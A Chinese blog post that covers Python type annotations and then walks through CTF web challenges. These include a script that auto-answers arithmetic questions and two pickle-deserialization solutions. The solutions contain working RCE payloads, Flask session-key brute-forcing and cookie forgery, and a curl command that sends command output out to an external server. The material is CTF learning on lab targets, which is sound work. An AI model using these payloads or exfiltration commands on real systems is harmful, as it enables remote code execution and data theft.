在pycharm中,我们经常可以看见,比如输入list.ap之后,会自动提示append(self,__object)。自动提示可用的方法。因为pycharm确定这是一个对象
同样,我们换一份代码,定义一个func,接受一个参数data。pycharm就不会做出任何提示了
def func(data):
data.app
这样确不会提示我们要传入的参数了。思考,为什么pycharm工具无法提示了。因为pycharm不确定这个对象是什么类型的
或者我们调用一些其他的方法的时候,进行传参的时候,我们输入ctrl+p就会提示我们要传入哪些参数并且是什么类型(对于第一种情况来说)
但是第二种情况却不会这样了,只会好俗你要传入几个参数,不会告诉你是什么类型
为什么py内置模块可以,但是我们自己定义的确不可以呢?因为pycharm无法通过代码确定应该传入什么类型,我们需要使用类型注解
支持:变量的类型注解,函数(方法)形参列表和返回值的类型注解
基础数据类型注解:
var_1: int = 10
类对象类型注解:
class Student:
pass
stu: Student = Student()
也可以是详细的注解
my_list: list[int] = [1,2,3]

1
2
3
4
5
6
7
8
9
10
import random


#在注释中进行类型注解
#语法
class Student:
pass

var_1 = random.randint(1,10) #type:int
#但是类型注解仅仅是提示性的,不影响代码的一个运行

82函数和方法类型注解.py

1
2
3
4
5
6
7
8
#对形参进行类型注解
def add(x:int,y:int):
return x+y
add()
#对返回值进行类型注解
def func(data:list) -> list:
return data
func()

83union联合注解.py

比如我们现在有一个数据是mylist=[1,2,”itheima”]
这个就和常规的一个list是有一些区别的
这里就可以考虑使用我们的联合注解

1
2
from typing import Union
my_list:list[Union[str,int]] = [1,2,"itheima"]

84多态.py

同样的一个行为,传入不同的对象,得到不同的状态
函数方法形参申明接受父类对象
实际传入父类的子类对象进行工作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Animal:
def speak(self):
pass

class Dog(Animal):
def speak(self):
print("汪汪汪")

class Cat(Animal):
def speak(self):
print("喵喵喵")

def mark_noise(animal:Animal):
animal.speak()
dog = Dog()
cat = Cat()
mark_noise(dog)

简单脚本

基本就是过一下,都是非常简单非常基础的一些脚本的web题

[HUBUCTF 2022 新生赛]Calculate

1分
PythonWEB脚本编写
题目描述

python is a good tool in CTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Answer my questions

Answer the following methematics questions for 20 times;you have 3 seconds to solve each question;

In order to protect the server you can't ans one question in less than 1 second

You Have answered 0questions;
5
8
4
-
1
6
=

一进去就可以看到一个东西,最快1秒,最慢三秒内解决20道数学题,一般这样就出flag了
但是,手打的话很难这么快,还没有错误,这里肯定就是要借助我们的脚本了,我们先来抓一个包来看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:29507
Content-Length: 5
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node5.anna.nssctf.cn:29507
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.anna.nssctf.cn:29507/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=c9c0e0j8imad0lsu0h2cv1jga6
Connection: close

ans=1

大概就是这个样子的一个数据包
再来看一下页面,要计算的数字都是在什么h5标签下的

现在就可以开始写我们的脚本了
首先我们要知道发包的get和post请求
get的简单一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests

# 目标URL(示例)
base_url = "http://example.com/api/data"

# 1. 基础GET请求(无参数)
response_basic = requests.get(base_url)
print("基础GET请求状态码:", response_basic.status_code)
print("基础GET响应内容:", response_basic.text[:200]) # 打印前200字符


# 2. 带参数的GET请求(通过params参数传递)
# 参数会自动拼接到URL后面,格式为:url?key1=value1&key2=value2
params = {
"id": 123,
"category": "test",
"page": 1
}
response_with_params = requests.get(base_url, params=params)
print("\n带参数的GET请求URL:", response_with_params.url) # 查看实际请求的URL
print("带参数的响应状态码:", response_with_params.status_code)
print("带参数的响应内容:", response_with_params.text[:200])


# 3. 带请求头(Headers)的GET请求
# 常用于伪装浏览器、携带Cookie或认证信息
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Cookie": "session_id=abc123; user=test", # 携带Cookie
"Accept-Language": "zh-CN,zh;q=0.9"
}
response_with_headers = requests.get(base_url, params=params, headers=headers)
print("\n带请求头的响应状态码:", response_with_headers.status_code)


# 4. 处理JSON响应
# 如果服务器返回JSON格式数据,可直接用.json()方法解析
try:
json_response = response_with_params.json() # 解析为Python字典/列表
print("\nJSON响应解析结果:", type(json_response)) # 打印数据类型
# 示例:获取JSON中的特定字段
if isinstance(json_response, dict):
print("JSON中的'code'字段:", json_response.get("code"))
except ValueError:
print("\n响应不是有效的JSON格式")


# 5. 设置超时时间(防止请求无限等待)
try:
# 超时时间设为5秒(连接超时+读取超时)
response_with_timeout = requests.get(base_url, timeout=5)
print("\n超时设置下的响应状态码:", response_with_timeout.status_code)
except requests.exceptions.Timeout:
print("\n请求超时!")

post的也比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests

# 目标URL(示例,实际使用时替换为你的目标地址)
url = "http://example.com/api/submit"

# 1. 发送表单数据(application/x-www-form-urlencoded)
# 适用于模拟表单提交,数据以键值对形式传递
form_data = {
"username": "test_user",
"password": "test_pass",
"age": 25
}
response_form = requests.post(url, data=form_data)
print("表单数据响应状态码:", response_form.status_code)
print("表单数据响应内容:", response_form.text)


# 2. 发送JSON数据(application/json)
# 适用于API接口,数据需序列化为JSON格式
json_data = {
"name": "张三",
"email": "zhangsan@example.com",
"hobbies": ["reading", "coding"]
}
response_json = requests.post(url, json=json_data) # 自动设置Content-Type为application/json
print("\nJSON数据响应状态码:", response_json.status_code)
print("JSON数据响应内容:", response_json.text)


# 3. 发送带请求头(Headers)的POST请求
# 部分接口需要特定的请求头(如User-Agent、Token等)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Authorization": "Bearer your_token_here", # 示例:携带Token认证
"Content-Type": "application/x-www-form-urlencoded" # 手动指定内容类型(可选)
}
data_with_headers = {
"action": "submit",
"data": "test_content"
}
response_with_headers = requests.post(url, data=data_with_headers, headers=headers)
print("\n带请求头的响应状态码:", response_with_headers.status_code)
print("带请求头的响应内容:", response_with_headers.text)


# 4. 发送文件(multipart/form-data)
# 适用于上传文件的场景(如图片、文档等)
files = {
"file": open("example.txt", "rb") # 打开文件并以二进制形式读取
}
# 同时可以携带其他表单字段
file_data = {
"filename": "example.txt",
"description": "测试文件上传"
}
response_file = requests.post(url, files=files, data=file_data)
print("\n文件上传响应状态码:", response_file.status_code)
print("文件上传响应内容:", response_file.text)

这里能比较轻松的就知道,用的是一个form的这么一个格式的
还有一个问题就是怎么获取到我们的这个网页的标签的里面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import time

# 目标答题网站的URL
url = 'http://node1.anna.nssctf.cn:28802/'
# 创建会话对象,用于保持会话状态(自动处理Cookie,记录答题进度)
res = requests.session()

# 循环最多98次(范围1到98)
for i in range(1, 99):
# 用于存储提取到的数学表达式
math = ""

# 发送GET请求到目标URL,获取包含数学题的页面内容
response = res.get(url)
# 暂停1秒,避免请求过于频繁被服务器拦截
time.sleep(1)

# 提取响应内容(网页HTML文本)
resTest = response.text
# 遍历网页内容,提取数学表达式(通过字符位置判断:被>和<包裹的字符)
for j in range(0, len(resTest)):
if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":
math = math + resTest[j]

# 移除表达式中的等号(例如将"1+2="处理为"1+2")
math = math.strip('=')
# 使用eval函数计算数学表达式的结果
num = eval(math)

# 构造POST请求的数据,包含计算得到的答案
myData = {
'ans': num
}

# 发送POST请求提交答案
response = res.post(url, data=myData)
# 打印服务器返回的响应内容(查看答题结果)
print(response.text)
# 暂停1秒,等待服务器处理
time.sleep(1)

# 检查响应中是否包含Flag(假设Flag格式为NSSCTF{...})
if "NSSCTF{" in response.text:
print("Flaggggggggg: ", response.text)
# 找到Flag后退出程序
exit()


这里参考这个脚本

pickle

额,之前有很多篇文章讲到过这个了。但是会有一些小的问题。
主要是,面对实际的赛题,给你的源码非常复杂的情况下,我还是打不出pickle来编写opcode
感觉主要还是缺少自己慢慢的思考的这么一个过程,这里就细细地来看源码,弄清楚整个过程到底要怎么做一个完整地pickle的题目

[HZNUCTF 2023 preliminary]pickle

1分
反序列化Python/proc
题目描述

无描述
首先一进去发现是只有一些代码,一看知道是py的

1
import base64 import pickle from flask import Flask, request app = Flask(__name__) @app.route('/') def index(): with open('app.py', 'r') as f: return f.read() @app.route('/calc', methods=['GET']) def getFlag(): payload = request.args.get("payload") pickle.loads(base64.b64decode(payload).replace(b'os', b'')) return "ganbadie!" @app.route('/readFile', methods=['GET']) def readFile(): filename = request.args.get('filename').replace("flag", "????") with open(filename, 'r') as f: return f.read() if __name__ == '__main__': app.run(host='0.0.0.0')

给的是一些可以访问的路由什么的,我们先扫描一下目录
发现扫不出来
根目录,/calc,/readFile主要应该还有这两个可以访问的,但是直接在url后面加上这两个肯定是不行的
然后审计一下代码就可以发现,这里直接选择写opcode就可以了
然后我们将上面的代码再整理一下,方便观看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
代码如下:
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


'''
这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。
在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功,
若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。
'''


@app.route('/')
def index():
with open('app.py', 'r') as f:
return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
payload = request.args.get("payload") #get输入payload,在/calc目录
pickle.loads(base64.b64decode(payload).replace(b'os', b'')) #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!!

return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile(): #可以把结果重定向到文件中,然后用readFile读。在/readFile目录

filename = request.args.get('filename').replace("flag", "????") #GET提交,把flag换成????,任意文件读取但是防止读取flag。
with open(filename, 'r') as f:
return f.read()


if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import base64


class rayi(object):
def __reduce__(self):


# return eval,("__import__('o'+'s').system('ls / | tee a')",)
return eval, ("__import__('o'+'s').system('env | tee a.txt')",)

a = rayi()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

这里的os绕过建议采用这种方式,然后就是读env采用上述方法
最后读取flag

1
2
http://node5.anna.nssctf.cn:20807/calc?payload=gASVSQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwtX19pbXBvcnRfXygnbycrJ3MnKS5zeXN0ZW0oJ2VudiB8IHRlZSBhLnR4dCcplIWUUpQu
http://node5.anna.nssctf.cn:20807/readFile?filename=a.txt

[MTCTF 2022]easypickle

339分
反序列化Cookie伪造Python
题目描述
简单的pickle反序列化
总所周知呀,很多难的要死的题目也和你说,easy,ez,simple这些等等
这道题目给了一个附件我们下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)

这个就是附件的内容,我们进行代码审计
这里可以看见两个路由,第一个就是对于你的admin的验证,第二个就是在你是admin的情况下,我们要写代码,然后主要就是对一些常见的关键字进行了过滤
先看代码中的key怎么生成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app.config['SECRET_KEY'] = os.urandom(2).hex()

逐步解析:

os.urandom(2)

从操作系统的熵源里取出 2 个字节的随机数据(范围是 0x0000 ~ 0xFFFF 之间的任意二进制值)。

这是加密安全级别的随机数,不能被预测。

.hex()

把这 2 个字节转换为 16 进制字符串。

2 个字节 = 16 位,每个字节对应 2 位 16 进制字符,所以会得到 4 个 16 进制字符。

举个例子:

os.urandom(2) → b'\xa3\x1f'
.hex() → 'a31f'

结果

这个 SECRET_KEY 实际上是一个长度为 4 位的十六进制字符串(取值范围是 "0000" 到 "ffff")

这个我们之前是遇见过的,可以参照我之前的博客
先用脚本生成一个字典,主要是说来配合后面的爆破

1
2
3
4
5
6
7
import os

file_path='./key.txt'
with open(file_path, 'w') as f:
for i in range(1,9999):
key = os.urandom(2).hex()
f.write("\"{}\"\n".format(key))

前四行没有什么说的,没有的话会在当前路径下创建文件
第五行则是要按照题目的格式生成,第六行就是保证内容格式为

1
2
3
4
"3f7a"
"9c2d"
"e5b8"
...

假设没有跑出来的话,我们可以将这个9999换为一个更大的数字
项目在https://github.com/Paradoxis/Flask-Unsign
下载
然后安装

1
pip install flask-unsign

然后将脚本得到的key.txt放入Flask-Unsign-master下
最后运行

1
flask-unsign --unsign --cookie "eyJ1c2VyIjoibmRuYW4ifQ.aNSoeQ.4gz91wLoSdGHsRz6NWrtyZMOs2c" --wordlist key.txt

得到

1
2
3
4
5
6
7
D:\ctf\ctf-web\cookie\Flask-Unsign-master>flask-unsign --unsign --cookie "eyJ1c2VyIjoiZGRtaW0ifQ.aNSymQ.aE9bLxnBhmMcJFgJiXgGNro4yrc" --wordlist key.txt
[*] Session decodes to: {'user': 'ndnan'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 44160 attempts
'4f4a'

D:\ctf\ctf-web\cookie\Flask-Unsign-master>

然后用到之前学习到的知识要加密一下

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# python3 session3.py encode -s "4f4a" -t "{'user':'admin'}"
eyJ1c2VyIjoiYWRtaW4ifQ.aNSzTg.GaZCugyv3Y9NPtlzotNzPysFdcw
┌──(root㉿kali)-[~]

伪造得到了session之后,我们来看看后面的反序列化逻辑
从session中获取ser_data键的值,然后替换掉一些字符,然后过滤R i o b,就没法用pker来生成payload了,这里直接手搓opcode了

1
b'''(cos\nsystem\nS'calc'\nos.'''

然后现在只需要把这个base64编码一下,然后作为ser_data的值,写入session即可。因为没有回显,尝试了反弹shell无果后,选择了curl外带数据,然后直接外带的话,因为换行的原因,只显示第一行,所以说选择把命令执行结果写入文件,然后把文件的内容外带出来

1
2
3
b'''(cos\nsystem\nS'ls>/3.txt'\nos.''' #把ls的结果写入根目录的3.txt
b'''(cos\nsystem\nS'curl -T /3.txt http://xxxxxx'\nos.''' #外带/3.txt的内容到服务器上

接下来就是运用了

1
2
import base64
print(base64.b64encode(b'''(cos\nsystem\nS'ls>/3.txt'\nos.'''))

得到:KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg==
另一个得到KGNvcwpzeXN0ZW0KUydjdXJsIC1UIC8zLnR4dCBodHRwOi8vMTAxLjQzLjY2LjY3OjEyMzQ1Jwpvcy4=
语句:

1
2
3
python3 session3.py encode -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg=='}"

python3 session3.py encode -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydjdXJsIC1UIC8zLnR4dCBodHRwOi8vMTAxLjQzLjY2LjY3OjEyMzQ1Jwpvcy4='}"

得到的应该是

1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# python3 session3.py encode -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydscz4vMy50eHQnCm9zLg=='}"
eyJ1c2VyIjoiYWRtaW4iLCJzZXJfZGF0YSI6IktHTnZjd3B6ZVhOMFpXMEtVeWRzY3o0dk15NTBlSFFuQ205ekxnPT0ifQ.aNS0zw.dMGJe4BJQFW2aPb2yX40Ck9DRV0

┌──(rootpython3 session3.py -s "4f4a" -t "{'user':'admin','ser_data':'KGNvcwpzeXN0ZW0KUydjdXJsIC1UIC8zLnR4dCBodHRwOi8vMTAxLjQzLjY2LjY3OjEyMzQ1Jwpvcy4='}"
eyJ1c2VyIjoiYWRtaW4iLCJzZXJfZGF0YSI6IktHTnZjd3B6ZVhOMFpXMEtVeWRqZFhKc0lDMVVJQzh6TG5SNGRDQm9kSFJ3T2k4dk1UQXhMalF6TGpZMkxqWTNPakV5TXpRMUp3cHZjeTQ9In0.aNS1Kw.W5BIrWVEHHDaDti-TijIBOWFbWo

但是我不知道什么原因,反正我的就是不出网,连接不上
参考博客:https://cloud.tencent.com/developer/article/2134975
and
https://blog.csdn.net/weixin_52091458/article/details/127448151?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522bf3aab8712564d7e8823c626db6cce75%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=bf3aab8712564d7e8823c626db6cce75&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-127448151-null-null.142^v102^pc_search_result_base4&utm_term=%5BMTCTF%202022%5Deasypickle&spm=1018.2226.3001.4187


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录